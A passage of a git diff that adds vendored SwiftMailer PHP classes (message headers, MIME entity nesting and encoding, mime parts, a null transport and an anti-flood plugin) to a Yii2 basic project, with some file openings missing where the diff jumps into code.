$this->getHeaders()->addMailboxHeader('From'); + } + + /** + * Always returns {@link LEVEL_TOP} for a message instance. + * + * @return int + */ + public function getNestingLevel() + { + return self::LEVEL_TOP; + } + + /** + * Set the subject of this message. + * + * @param string $subject + * + * @return Swift_Mime_SimpleMessage + */ + public function setSubject($subject) + { + if (!$this->_setHeaderFieldModel('Subject', $subject)) { + $this->getHeaders()->addTextHeader('Subject', $subject); + } + + return $this; + } + + /** + * Get the subject of this message. + * + * @return string + */ + public function getSubject() + { + return $this->_getHeaderFieldModel('Subject'); + } + + /** + * Set the date at which this message was created. + * + * @param int $date + * + * @return Swift_Mime_SimpleMessage + */ + public function setDate($date) + { + if (!$this->_setHeaderFieldModel('Date', $date)) { + $this->getHeaders()->addDateHeader('Date', $date); + } + + return $this; + } + + /** + * Get the date at which this message was created. + * + * @return int + */ + public function getDate() + { + return $this->_getHeaderFieldModel('Date'); + } + + /** + * Set the return-path (the bounce address) of this message. + * + * @param string $address + * + * @return Swift_Mime_SimpleMessage + */ + public function setReturnPath($address) + { + if (!$this->_setHeaderFieldModel('Return-Path', $address)) { + $this->getHeaders()->addPathHeader('Return-Path', $address); + } + + return $this; + } + + /** + * Get the return-path (bounce address) of this message. + * + * @return string + */ + public function getReturnPath() + { + return $this->_getHeaderFieldModel('Return-Path'); + } + + /** + * Set the sender of this message. + * + * This does not override the From field, but it has a higher significance. + * + * @param string $address + * @param string $name optional + * + * @return Swift_Mime_SimpleMessage + */ + public function setSender($address, $name = null) + { + if (!is_array($address) && isset($name)) { + $address = array($address => $name); + } + + if (!$this->_setHeaderFieldModel('Sender', (array) $address)) { + $this->getHeaders()->addMailboxHeader('Sender', (array) $address); + } + + return $this; + } + + /** + * Get the sender of this message. + * + * @return string + */ + public function getSender() + { + return $this->_getHeaderFieldModel('Sender'); + } + + /** + * Add a From: address to this message. + * + * If $name is passed this name will be associated with the address. + * + * @param string $address + * @param string $name optional + * + * @return Swift_Mime_SimpleMessage + */ + public function addFrom($address, $name = null) + { + $current = $this->getFrom(); + $current[$address] = $name; + + return $this->setFrom($current); + } + + /** + * Set the from address of this message. + * + * You may pass an array of addresses if this message is from multiple people. + * + * If $name is passed and the first parameter is a string, this name will be + * associated with the address. + * + * @param string $addresses + * @param string $name optional + * + * @return Swift_Mime_SimpleMessage + */ + public function setFrom($addresses, $name = null) + { + if (!is_array($addresses) && isset($name)) { + $addresses = array($addresses => $name); + } + + if (!$this->_setHeaderFieldModel('From', (array) $addresses)) { + $this->getHeaders()->addMailboxHeader('From', (array) $addresses); + } + + return $this; + } + + /** + * Get the from address of this message. + * + * @return mixed + */ + public function getFrom() + { + return $this->_getHeaderFieldModel('From'); + } + + /** + * Add a Reply-To: address to this message. + * + * If $name is passed this name will be associated with the address. + * + * @param string $address + * @param string $name optional + * + * @return Swift_Mime_SimpleMessage + */ + public function addReplyTo($address, $name = null) + { + $current = $this->getReplyTo(); + $current[$address] = $name; + + return $this->setReplyTo($current); + } + + /** + * Set the reply-to address of this message. + * + * You may pass an array of addresses if replies will go to multiple people. + * + * If $name is passed and the first parameter is a string, this name will be + * associated with the address. + * + * @param string $addresses + * @param string $name optional + * + * @return Swift_Mime_SimpleMessage + */ + public function setReplyTo($addresses, $name = null) + { + if (!is_array($addresses) && isset($name)) { + $addresses = array($addresses => $name); + } + + if (!$this->_setHeaderFieldModel('Reply-To', (array) $addresses)) { + $this->getHeaders()->addMailboxHeader('Reply-To', (array) $addresses); + } + + return $this; + } + + /** + * Get the reply-to address of this message. + * + * @return string + */ + public function getReplyTo() + { + return $this->_getHeaderFieldModel('Reply-To'); + } + + /** + * Add a To: address to this message. + * + * If $name is passed this name will be associated with the address. + * + * @param string $address + * @param string $name optional + * + * @return Swift_Mime_SimpleMessage + */ + public function addTo($address, $name = null) + { + $current = $this->getTo(); + $current[$address] = $name; + + return $this->setTo($current); + } + + /** + * Set the to addresses of this message. + * + * If multiple recipients will receive the message an array should be used. + * Example: array('receiver@domain.org', 'other@domain.org' => 'A name') + * + * If $name is passed and the first parameter is a string, this name will be + * associated with the address. + * + * @param mixed $addresses + * @param string $name optional + * + * @return Swift_Mime_SimpleMessage + */ + public function setTo($addresses, $name = null) + { + if (!is_array($addresses) && isset($name)) { + $addresses = array($addresses => $name); + } + + if (!$this->_setHeaderFieldModel('To', (array) $addresses)) { + $this->getHeaders()->addMailboxHeader('To', (array) $addresses); + } + + return $this; + } + + /** + * Get the To addresses of this message. + * + * @return array + */ + public function getTo() + { + return $this->_getHeaderFieldModel('To'); + } + + /** + * Add a Cc: address to this message. + * + * If $name is passed this name will be associated with the address. + * + * @param string $address + * @param string $name optional + * + * @return Swift_Mime_SimpleMessage + */ + public function addCc($address, $name = null) + { + $current = $this->getCc(); + $current[$address] = $name; + + return $this->setCc($current); + } + + /** + * Set the Cc addresses of this message. + * + * If $name is passed and the first parameter is a string, this name will be + * associated with the address. + * + * @param mixed $addresses + * @param string $name optional + * + * @return Swift_Mime_SimpleMessage + */ + public function setCc($addresses, $name = null) + { + if (!is_array($addresses) && isset($name)) { + $addresses = array($addresses => $name); + } + + if (!$this->_setHeaderFieldModel('Cc', (array) $addresses)) { + $this->getHeaders()->addMailboxHeader('Cc', (array) $addresses); + } + + return $this; + } + + /** + * Get the Cc address of this message. + * + * @return array + */ + public function getCc() + { + return $this->_getHeaderFieldModel('Cc'); + } + + /** + * Add a Bcc: address to this message. + * + * If $name is passed this name will be associated with the address. + * + * @param string $address + * @param string $name optional + * + * @return Swift_Mime_SimpleMessage + */ + public function addBcc($address, $name = null) + { + $current = $this->getBcc(); + $current[$address] = $name; + + return $this->setBcc($current); + } + + /** + * Set the Bcc addresses of this message. + * + * If $name is passed and the first parameter is a string, this name will be + * associated with the address. + * + * @param mixed $addresses + * @param string $name optional + * + * @return Swift_Mime_SimpleMessage + */ + public function setBcc($addresses, $name = null) + { + if (!is_array($addresses) && isset($name)) { + $addresses = array($addresses => $name); + } + + if (!$this->_setHeaderFieldModel('Bcc', (array) $addresses)) { + $this->getHeaders()->addMailboxHeader('Bcc', (array) $addresses); + } + + return $this; + } + + /** + * Get the Bcc addresses of this message. + * + * @return array + */ + public function getBcc() + { + return $this->_getHeaderFieldModel('Bcc'); + } + + /** + * Set the priority of this message. + * + * The value is an integer where 1 is the highest priority and 5 is the lowest. + * + * @param int $priority + * + * @return Swift_Mime_SimpleMessage + */ + public function setPriority($priority) + { + $priorityMap = array( + 1 => 'Highest', + 2 => 'High', + 3 => 'Normal', + 4 => 'Low', + 5 => 'Lowest', + ); + $pMapKeys = array_keys($priorityMap); + if ($priority > max($pMapKeys)) { + $priority = max($pMapKeys); + } elseif ($priority < min($pMapKeys)) { + $priority = min($pMapKeys); + } + if (!$this->_setHeaderFieldModel('X-Priority', + sprintf('%d (%s)', $priority, $priorityMap[$priority]))) { + $this->getHeaders()->addTextHeader('X-Priority', + sprintf('%d (%s)', $priority, $priorityMap[$priority])); + } + + return $this; + } + + /** + * Get the priority of this message. + * + * The returned value is an integer where 1 is the highest priority and 5 + * is the lowest. + * + * @return int + */ + public function getPriority() + { + list($priority) = sscanf($this->_getHeaderFieldModel('X-Priority'), + '%[1-5]' + ); + + return isset($priority) ? $priority : 3; + } + + /** + * Ask for a delivery receipt from the recipient to be sent to $addresses + * + * @param array $addresses + * + * @return Swift_Mime_SimpleMessage + */ + public function setReadReceiptTo($addresses) + { + if (!$this->_setHeaderFieldModel('Disposition-Notification-To', $addresses)) { + $this->getHeaders() + ->addMailboxHeader('Disposition-Notification-To', $addresses); + } + + return $this; + } + + /** + * Get the addresses to which a read-receipt will be sent. + * + * @return string + */ + public function getReadReceiptTo() + { + return $this->_getHeaderFieldModel('Disposition-Notification-To'); + } + + /** + * Attach a {@link Swift_Mime_MimeEntity} such as an Attachment or MimePart. + * + * @param Swift_Mime_MimeEntity $entity + * + * @return Swift_Mime_SimpleMessage + */ + public function attach(Swift_Mime_MimeEntity $entity) + { + $this->setChildren(array_merge($this->getChildren(), array($entity))); + + return $this; + } + + /** + * Remove an already attached entity. + * + * @param Swift_Mime_MimeEntity $entity + * + * @return Swift_Mime_SimpleMessage + */ + public function detach(Swift_Mime_MimeEntity $entity) + { + $newChildren = array(); + foreach ($this->getChildren() as $child) { + if ($entity !== $child) { + $newChildren[] = $child; + } + } + $this->setChildren($newChildren); + + return $this; + } + + /** + * Attach a {@link Swift_Mime_MimeEntity} and return it's CID source. + * This method should be used when embedding images or other data in a message. + * + * @param Swift_Mime_MimeEntity $entity + * + * @return string + */ + public function embed(Swift_Mime_MimeEntity $entity) + { + $this->attach($entity); + + return 'cid:'.$entity->getId(); + } + + /** + * Get this message as a complete string. + * + * @return string + */ + public function toString() + { + if (count($children = $this->getChildren()) > 0 && $this->getBody() != '') { + $this->setChildren(array_merge(array($this->_becomeMimePart()), $children)); + $string = parent::toString(); + $this->setChildren($children); + } else { + $string = parent::toString(); + } + + return $string; + } + + /** + * Returns a string representation of this object. + * + * @see toString() + * + * @return string + */ + public function __toString() + { + return $this->toString(); + } + + /** + * Write this message to a {@link Swift_InputByteStream}. + * + * @param Swift_InputByteStream $is + */ + public function toByteStream(Swift_InputByteStream $is) + { + if (count($children = $this->getChildren()) > 0 && $this->getBody() != '') { + $this->setChildren(array_merge(array($this->_becomeMimePart()), $children)); + parent::toByteStream($is); + $this->setChildren($children); + } else { + parent::toByteStream($is); + } + } + + /** @see Swift_Mime_SimpleMimeEntity::_getIdField() */ + protected function _getIdField() + { + return 'Message-ID'; + } + + /** Turn the body of this message into a child of itself if needed */ + protected function _becomeMimePart() + { + $part = new parent($this->getHeaders()->newInstance(), $this->getEncoder(), + $this->_getCache(), $this->_getGrammar(), $this->_userCharset + ); + $part->setContentType($this->_userContentType); + $part->setBody($this->getBody()); + $part->setFormat($this->_userFormat); + $part->setDelSp($this->_userDelSp); + $part->_setNestingLevel($this->_getTopNestingLevel()); + + return $part; + } + + /** Get the highest nesting level nested inside this message */ + private function _getTopNestingLevel() + { + $highestLevel = $this->getNestingLevel(); + foreach ($this->getChildren() as $child) { + $childLevel = $child->getNestingLevel(); + if ($highestLevel < $childLevel) { + $highestLevel = $childLevel; + } + } + + return $highestLevel; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/SimpleMimeEntity.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/SimpleMimeEntity.php new file mode 100644 index 00000000..60492920 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/SimpleMimeEntity.php @@ -0,0 +1,866 @@ + array(self::LEVEL_TOP, self::LEVEL_MIXED), + 'multipart/alternative' => array(self::LEVEL_MIXED, self::LEVEL_ALTERNATIVE), + 'multipart/related' => array(self::LEVEL_ALTERNATIVE, self::LEVEL_RELATED), + ); + + /** A set of filter rules to define what level an entity should be nested at */ + private $_compoundLevelFilters = array(); + + /** The nesting level of this entity */ + private $_nestingLevel = self::LEVEL_ALTERNATIVE; + + /** A KeyCache instance used during encoding and streaming */ + private $_cache; + + /** Direct descendants of this entity */ + private $_immediateChildren = array(); + + /** All descendants of this entity */ + private $_children = array(); + + /** The maximum line length of the body of this entity */ + private $_maxLineLength = 78; + + /** The order in which alternative mime types should appear */ + private $_alternativePartOrder = array( + 'text/plain' => 1, + 'text/html' => 2, + 'multipart/related' => 3, + ); + + /** The CID of this entity */ + private $_id; + + /** The key used for accessing the cache */ + private $_cacheKey; + + protected $_userContentType; + + /** + * Create a new SimpleMimeEntity with $headers, $encoder and $cache. + * + * @param Swift_Mime_HeaderSet $headers + * @param Swift_Mime_ContentEncoder $encoder + * @param Swift_KeyCache $cache + * @param Swift_Mime_Grammar $grammar + */ + public function __construct(Swift_Mime_HeaderSet $headers, Swift_Mime_ContentEncoder $encoder, Swift_KeyCache $cache, Swift_Mime_Grammar $grammar) + { + $this->_cacheKey = md5(uniqid(getmypid().mt_rand(), true)); + $this->_cache = $cache; + $this->_headers = $headers; + $this->_grammar = $grammar; + $this->setEncoder($encoder); + $this->_headers->defineOrdering(array('Content-Type', 'Content-Transfer-Encoding')); + + // This array specifies that, when the entire MIME document contains + // $compoundLevel, then for each child within $level, if its Content-Type + // is $contentType then it should be treated as if it's level is + // $neededLevel instead. I tried to write that unambiguously! :-\ + // Data Structure: + // array ( + // $compoundLevel => array( + // $level => array( + // $contentType => $neededLevel + // ) + // ) + // ) + + $this->_compoundLevelFilters = array( + (self::LEVEL_ALTERNATIVE + self::LEVEL_RELATED) => array( + self::LEVEL_ALTERNATIVE => array( + 'text/plain' => self::LEVEL_ALTERNATIVE, + 'text/html' => self::LEVEL_RELATED, + ), + ), + ); + + $this->_id = $this->getRandomId(); + } + + /** + * Generate a new Content-ID or Message-ID for this MIME entity. + * + * @return string + */ + public function generateId() + { + $this->setId($this->getRandomId()); + + return $this->_id; + } + + /** + * Get the {@link Swift_Mime_HeaderSet} for this entity. + * + * @return Swift_Mime_HeaderSet + */ + public function getHeaders() + { + return $this->_headers; + } + + /** + * Get the nesting level of this entity. + * + * @see LEVEL_TOP, LEVEL_MIXED, LEVEL_RELATED, LEVEL_ALTERNATIVE + * + * @return int + */ + public function getNestingLevel() + { + return $this->_nestingLevel; + } + + /** + * Get the Content-type of this entity. + * + * @return string + */ + public function getContentType() + { + return $this->_getHeaderFieldModel('Content-Type'); + } + + /** + * Set the Content-type of this entity. + * + * @param string $type + * + * @return Swift_Mime_SimpleMimeEntity + */ + public function setContentType($type) + { + $this->_setContentTypeInHeaders($type); + // Keep track of the value so that if the content-type changes automatically + // due to added child entities, it can be restored if they are later removed + $this->_userContentType = $type; + + return $this; + } + + /** + * Get the CID of this entity. + * + * The CID will only be present in headers if a Content-ID header is present. + * + * @return string + */ + public function getId() + { + $tmp = (array) $this->_getHeaderFieldModel($this->_getIdField()); + + return $this->_headers->has($this->_getIdField()) ? current($tmp) : $this->_id; + } + + /** + * Set the CID of this entity. + * + * @param string $id + * + * @return Swift_Mime_SimpleMimeEntity + */ + public function setId($id) + { + if (!$this->_setHeaderFieldModel($this->_getIdField(), $id)) { + $this->_headers->addIdHeader($this->_getIdField(), $id); + } + $this->_id = $id; + + return $this; + } + + /** + * Get the description of this entity. + * + * This value comes from the Content-Description header if set. + * + * @return string + */ + public function getDescription() + { + return $this->_getHeaderFieldModel('Content-Description'); + } + + /** + * Set the description of this entity. + * + * This method sets a value in the Content-ID header. + * + * @param string $description + * + * @return Swift_Mime_SimpleMimeEntity + */ + public function setDescription($description) + { + if (!$this->_setHeaderFieldModel('Content-Description', $description)) { + $this->_headers->addTextHeader('Content-Description', $description); + } + + return $this; + } + + /** + * Get the maximum line length of the body of this entity. + * + * @return int + */ + public function getMaxLineLength() + { + return $this->_maxLineLength; + } + + /** + * Set the maximum line length of lines in this body. + * + * Though not enforced by the library, lines should not exceed 1000 chars. + * + * @param int $length + * + * @return Swift_Mime_SimpleMimeEntity + */ + public function setMaxLineLength($length) + { + $this->_maxLineLength = $length; + + return $this; + } + + /** + * Get all children added to this entity. + * + * @return array of Swift_Mime_Entity + */ + public function getChildren() + { + return $this->_children; + } + + /** + * Set all children of this entity. + * + * @param array $children Swift_Mime_Entity instances + * @param int $compoundLevel For internal use only + * + * @return Swift_Mime_SimpleMimeEntity + */ + public function setChildren(array $children, $compoundLevel = null) + { + // TODO: Try to refactor this logic + + $compoundLevel = isset($compoundLevel) + ? $compoundLevel + : $this->_getCompoundLevel($children) + ; + + $immediateChildren = array(); + $grandchildren = array(); + $newContentType = $this->_userContentType; + + foreach ($children as $child) { + $level = $this->_getNeededChildLevel($child, $compoundLevel); + if (empty($immediateChildren)) { + //first iteration + $immediateChildren = array($child); + } else { + $nextLevel = $this->_getNeededChildLevel($immediateChildren[0], $compoundLevel); + if ($nextLevel == $level) { + $immediateChildren[] = $child; + } elseif ($level < $nextLevel) { + // Re-assign immediateChildren to grandchildren + $grandchildren = array_merge($grandchildren, $immediateChildren); + // Set new children + $immediateChildren = array($child); + } else { + $grandchildren[] = $child; + } + } + } + + if (!empty($immediateChildren)) { + $lowestLevel = $this->_getNeededChildLevel($immediateChildren[0], $compoundLevel); + + // Determine which composite media type is needed to accommodate the + // immediate children + foreach ($this->_compositeRanges as $mediaType => $range) { + if ($lowestLevel > $range[0] + && $lowestLevel <= $range[1]) { + $newContentType = $mediaType; + break; + } + } + + // Put any grandchildren in a subpart + if (!empty($grandchildren)) { + $subentity = $this->_createChild(); + $subentity->_setNestingLevel($lowestLevel); + $subentity->setChildren($grandchildren, $compoundLevel); + array_unshift($immediateChildren, $subentity); + } + } + + $this->_immediateChildren = $immediateChildren; + $this->_children = $children; + $this->_setContentTypeInHeaders($newContentType); + $this->_fixHeaders(); + $this->_sortChildren(); + + return $this; + } + + /** + * Get the body of this entity as a string. + * + * @return string + */ + public function getBody() + { + return ($this->_body instanceof Swift_OutputByteStream) + ? $this->_readStream($this->_body) + : $this->_body; + } + + /** + * Set the body of this entity, either as a string, or as an instance of + * {@link Swift_OutputByteStream}. + * + * @param mixed $body + * @param string $contentType optional + * + * @return Swift_Mime_SimpleMimeEntity + */ + public function setBody($body, $contentType = null) + { + if ($body !== $this->_body) { + $this->_clearCache(); + } + + $this->_body = $body; + if (isset($contentType)) { + $this->setContentType($contentType); + } + + return $this; + } + + /** + * Get the encoder used for the body of this entity. + * + * @return Swift_Mime_ContentEncoder + */ + public function getEncoder() + { + return $this->_encoder; + } + + /** + * Set the encoder used for the body of this entity. + * + * @param Swift_Mime_ContentEncoder $encoder + * + * @return Swift_Mime_SimpleMimeEntity + */ + public function setEncoder(Swift_Mime_ContentEncoder $encoder) + { + if ($encoder !== $this->_encoder) { + $this->_clearCache(); + } + + $this->_encoder = $encoder; + $this->_setEncoding($encoder->getName()); + $this->_notifyEncoderChanged($encoder); + + return $this; + } + + /** + * Get the boundary used to separate children in this entity. + * + * @return string + */ + public function getBoundary() + { + if (!isset($this->_boundary)) { + $this->_boundary = '_=_swift_v4_'.time().'_'.md5(getmypid().mt_rand().uniqid('', true)).'_=_'; + } + + return $this->_boundary; + } + + /** + * Set the boundary used to separate children in this entity. + * + * @param string $boundary + * + * @return Swift_Mime_SimpleMimeEntity + * + * @throws Swift_RfcComplianceException + */ + public function setBoundary($boundary) + { + $this->_assertValidBoundary($boundary); + $this->_boundary = $boundary; + + return $this; + } + + /** + * Receive notification that the charset of this entity, or a parent entity + * has changed. + * + * @param string $charset + */ + public function charsetChanged($charset) + { + $this->_notifyCharsetChanged($charset); + } + + /** + * Receive notification that the encoder of this entity or a parent entity + * has changed. + * + * @param Swift_Mime_ContentEncoder $encoder + */ + public function encoderChanged(Swift_Mime_ContentEncoder $encoder) + { + $this->_notifyEncoderChanged($encoder); + } + + /** + * Get this entire entity as a string. + * + * @return string + */ + public function toString() + { + $string = $this->_headers->toString(); + $string .= $this->_bodyToString(); + + return $string; + } + + /** + * Get this entire entity as a string. + * + * @return string + */ + protected function _bodyToString() + { + $string = ''; + + if (isset($this->_body) && empty($this->_immediateChildren)) { + if ($this->_cache->hasKey($this->_cacheKey, 'body')) { + $body = $this->_cache->getString($this->_cacheKey, 'body'); + } else { + $body = "\r\n".$this->_encoder->encodeString($this->getBody(), 0, + $this->getMaxLineLength() + ); + $this->_cache->setString($this->_cacheKey, 'body', $body, + Swift_KeyCache::MODE_WRITE + ); + } + $string .= $body; + } + + if (!empty($this->_immediateChildren)) { + foreach ($this->_immediateChildren as $child) { + $string .= "\r\n\r\n--".$this->getBoundary()."\r\n"; + $string .= $child->toString(); + } + $string .= "\r\n\r\n--".$this->getBoundary()."--\r\n"; + } + + return $string; + } + + /** + * Returns a string representation of this object. + * + * @see toString() + * + * @return string + */ + public function __toString() + { + return $this->toString(); + } + + /** + * Write this entire entity to a {@see Swift_InputByteStream}. + * + * @param Swift_InputByteStream + */ + public function toByteStream(Swift_InputByteStream $is) + { + $is->write($this->_headers->toString()); + $is->commit(); + + $this->_bodyToByteStream($is); + } + + /** + * Write this entire entity to a {@link Swift_InputByteStream}. + * + * @param Swift_InputByteStream + */ + protected function _bodyToByteStream(Swift_InputByteStream $is) + { + if (empty($this->_immediateChildren)) { + if (isset($this->_body)) { + if ($this->_cache->hasKey($this->_cacheKey, 'body')) { + $this->_cache->exportToByteStream($this->_cacheKey, 'body', $is); + } else { + $cacheIs = $this->_cache->getInputByteStream($this->_cacheKey, 'body'); + if ($cacheIs) { + $is->bind($cacheIs); + } + + $is->write("\r\n"); + + if ($this->_body instanceof Swift_OutputByteStream) { + $this->_body->setReadPointer(0); + + $this->_encoder->encodeByteStream($this->_body, $is, 0, $this->getMaxLineLength()); + } else { + $is->write($this->_encoder->encodeString($this->getBody(), 0, $this->getMaxLineLength())); + } + + if ($cacheIs) { + $is->unbind($cacheIs); + } + } + } + } + + if (!empty($this->_immediateChildren)) { + foreach ($this->_immediateChildren as $child) { + $is->write("\r\n\r\n--".$this->getBoundary()."\r\n"); + $child->toByteStream($is); + } + $is->write("\r\n\r\n--".$this->getBoundary()."--\r\n"); + } + } + + /** + * Get the name of the header that provides the ID of this entity + */ + protected function _getIdField() + { + return 'Content-ID'; + } + + /** + * Get the model data (usually an array or a string) for $field. + */ + protected function _getHeaderFieldModel($field) + { + if ($this->_headers->has($field)) { + return $this->_headers->get($field)->getFieldBodyModel(); + } + } + + /** + * Set the model data for $field. + */ + protected function _setHeaderFieldModel($field, $model) + { + if ($this->_headers->has($field)) { + $this->_headers->get($field)->setFieldBodyModel($model); + + return true; + } else { + return false; + } + } + + /** + * Get the parameter value of $parameter on $field header. + */ + protected function _getHeaderParameter($field, $parameter) + { + if ($this->_headers->has($field)) { + return $this->_headers->get($field)->getParameter($parameter); + } + } + + /** + * Set the parameter value of $parameter on $field header. + */ + protected function _setHeaderParameter($field, $parameter, $value) + { + if ($this->_headers->has($field)) { + $this->_headers->get($field)->setParameter($parameter, $value); + + return true; + } else { + return false; + } + } + + /** + * Re-evaluate what content type and encoding should be used on this entity. + */ + protected function _fixHeaders() + { + if (count($this->_immediateChildren)) { + $this->_setHeaderParameter('Content-Type', 'boundary', + $this->getBoundary() + ); + $this->_headers->remove('Content-Transfer-Encoding'); + } else { + $this->_setHeaderParameter('Content-Type', 'boundary', null); + $this->_setEncoding($this->_encoder->getName()); + } + } + + /** + * Get the KeyCache used in this entity. + * + * @return Swift_KeyCache + */ + protected function _getCache() + { + return $this->_cache; + } + + /** + * Get the grammar used for validation. + * + * @return Swift_Mime_Grammar + */ + protected function _getGrammar() + { + return $this->_grammar; + } + + /** + * Empty the KeyCache for this entity. + */ + protected function _clearCache() + { + $this->_cache->clearKey($this->_cacheKey, 'body'); + } + + /** + * Returns a random Content-ID or Message-ID. + * + * @return string + */ + protected function getRandomId() + { + $idLeft = md5(getmypid().'.'.time().'.'.uniqid(mt_rand(), true)); + $idRight = !empty($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'swift.generated'; + $id = $idLeft.'@'.$idRight; + + try { + $this->_assertValidId($id); + } catch (Swift_RfcComplianceException $e) { + $id = $idLeft.'@swift.generated'; + } + + return $id; + } + + private function _readStream(Swift_OutputByteStream $os) + { + $string = ''; + while (false !== $bytes = $os->read(8192)) { + $string .= $bytes; + } + + return $string; + } + + private function _setEncoding($encoding) + { + if (!$this->_setHeaderFieldModel('Content-Transfer-Encoding', $encoding)) { + $this->_headers->addTextHeader('Content-Transfer-Encoding', $encoding); + } + } + + private function _assertValidBoundary($boundary) + { + if (!preg_match( + '/^[a-z0-9\'\(\)\+_\-,\.\/:=\?\ ]{0,69}[a-z0-9\'\(\)\+_\-,\.\/:=\?]$/Di', + $boundary)) { + throw new Swift_RfcComplianceException('Mime boundary set is not RFC 2046 compliant.'); + } + } + + private function _setContentTypeInHeaders($type) + { + if (!$this->_setHeaderFieldModel('Content-Type', $type)) { + $this->_headers->addParameterizedHeader('Content-Type', $type); + } + } + + private function _setNestingLevel($level) + { + $this->_nestingLevel = $level; + } + + private function _getCompoundLevel($children) + { + $level = 0; + foreach ($children as $child) { + $level |= $child->getNestingLevel(); + } + + return $level; + } + + private function _getNeededChildLevel($child, $compoundLevel) + { + $filter = array(); + foreach ($this->_compoundLevelFilters as $bitmask => $rules) { + if (($compoundLevel & $bitmask) === $bitmask) { + $filter = $rules + $filter; + } + } + + $realLevel = $child->getNestingLevel(); + $lowercaseType = strtolower($child->getContentType()); + + if (isset($filter[$realLevel]) + && isset($filter[$realLevel][$lowercaseType])) { + return $filter[$realLevel][$lowercaseType]; + } else { + return $realLevel; + } + } + + private function _createChild() + { + return new self($this->_headers->newInstance(), + $this->_encoder, $this->_cache, $this->_grammar); + } + + private function _notifyEncoderChanged(Swift_Mime_ContentEncoder $encoder) + { + foreach ($this->_immediateChildren as $child) { + $child->encoderChanged($encoder); + } + } + + private function _notifyCharsetChanged($charset) + { + $this->_encoder->charsetChanged($charset); + $this->_headers->charsetChanged($charset); + foreach ($this->_immediateChildren as $child) { + $child->charsetChanged($charset); + } + } + + private function _sortChildren() + { + $shouldSort = false; + foreach ($this->_immediateChildren as $child) { + // NOTE: This include alternative parts moved into a related part + if ($child->getNestingLevel() == self::LEVEL_ALTERNATIVE) { + $shouldSort = true; + break; + } + } + + // Sort in order of preference, if there is one + if ($shouldSort) { + usort($this->_immediateChildren, array($this, '_childSortAlgorithm')); + } + } + + private function _childSortAlgorithm($a, $b) + { + $typePrefs = array(); + $types = array( + strtolower($a->getContentType()), + strtolower($b->getContentType()), + ); + foreach ($types as $type) { + $typePrefs[] = (array_key_exists($type, $this->_alternativePartOrder)) + ? $this->_alternativePartOrder[$type] + : (max($this->_alternativePartOrder) + 1); + } + + return ($typePrefs[0] >= $typePrefs[1]) ? 1 : -1; + } + + // -- Destructor + + /** + * Empties it's own contents from the cache. + */ + public function __destruct() + { + $this->_cache->clearAll($this->_cacheKey); + } + + /** + * Throws an Exception if the id passed does not comply with RFC 2822. + * + * @param string $id + * + * @throws Swift_RfcComplianceException + */ + private function _assertValidId($id) + { + if (!preg_match( + '/^'.$this->_grammar->getDefinition('id-left').'@'. + $this->_grammar->getDefinition('id-right').'$/D', + $id + )) { + throw new Swift_RfcComplianceException( + 'Invalid ID given <'.$id.'>' + ); + } + } + + /** + * Make a deep copy of object + */ + public function __clone() + { + $this->_headers = clone $this->_headers; + $this->_encoder = clone $this->_encoder; + $this->_cacheKey = uniqid(); + $this->generateId(); + $children = array(); + foreach ($this->_children as $pos => $child) { + $children[$pos] = clone $child; + } + $this->setChildren($children); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/MimePart.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/MimePart.php new file mode 100644 index 00000000..5702d1c1 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/MimePart.php @@ -0,0 +1,59 @@ +createDependenciesFor('mime.part') + ); + + if (!isset($charset)) { + $charset = Swift_DependencyContainer::getInstance() + ->lookup('properties.charset'); + } + $this->setBody($body); + $this->setCharset($charset); + if ($contentType) { + $this->setContentType($contentType); + } + } + + /** + * Create a new MimePart. + * + * @param string $body + * @param string $contentType + * @param string $charset + * + * @return Swift_Mime_MimePart + */ + public static function newInstance($body = null, $contentType = null, $charset = null) + { + return new self($body, $contentType, $charset); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/NullTransport.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/NullTransport.php new file mode 100644 index 00000000..726d83ca --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/NullTransport.php @@ -0,0 +1,39 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +/** + * Pretends messages have been sent, but just ignores them. + * + * @author Fabien Potencier + */ +class Swift_NullTransport extends Swift_Transport_NullTransport +{ + /** + * Create a new NullTransport. + */ + public function __construct() + { + call_user_func_array( + array($this, 'Swift_Transport_NullTransport::__construct'), + Swift_DependencyContainer::getInstance() + ->createDependenciesFor('transport.null') + ); + } + + /** + * Create a new NullTransport instance. + * + * @return Swift_NullTransport + */ + public static function newInstance() + { + return new self(); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/OutputByteStream.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/OutputByteStream.php new file mode 100644 index 00000000..0c2783f0 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/OutputByteStream.php @@ -0,0 +1,46 @@ +setThreshold($threshold); + $this->setSleepTime($sleep); + $this->_sleeper = $sleeper; + } + + /** + * Set the number of emails to send before restarting. + * + * @param int $threshold + */ + public function setThreshold($threshold) + { + $this->_threshold = $threshold; + } + + /** + * Get the number of emails to send before restarting. + * + * @return int + */ + public function getThreshold() + { + return $this->_threshold; + } + + /** + * Set the number of seconds to sleep for during a restart. + * + * @param int $sleep time + */ + public function setSleepTime($sleep) + { + $this->_sleep = $sleep; + } + + /** + * Get the number of seconds to sleep for during a restart. + * + * @return int + */ + public function getSleepTime() + { + return $this->_sleep; + } + + /** + * Invoked immediately before the Message is sent. + * + * @param Swift_Events_SendEvent $evt + */ + public function beforeSendPerformed(Swift_Events_SendEvent $evt) + { + } + + /** + * Invoked immediately after the Message is sent. + * + * @param Swift_Events_SendEvent $evt + */ + public function sendPerformed(Swift_Events_SendEvent $evt) + { + ++$this->_counter; + if ($this->_counter >= $this->_threshold) { + $transport = $evt->getTransport(); + $transport->stop(); + if ($this->_sleep) { + $this->sleep($this->_sleep); + } + $transport->start(); + $this->_counter = 0; + } + } + + /** + 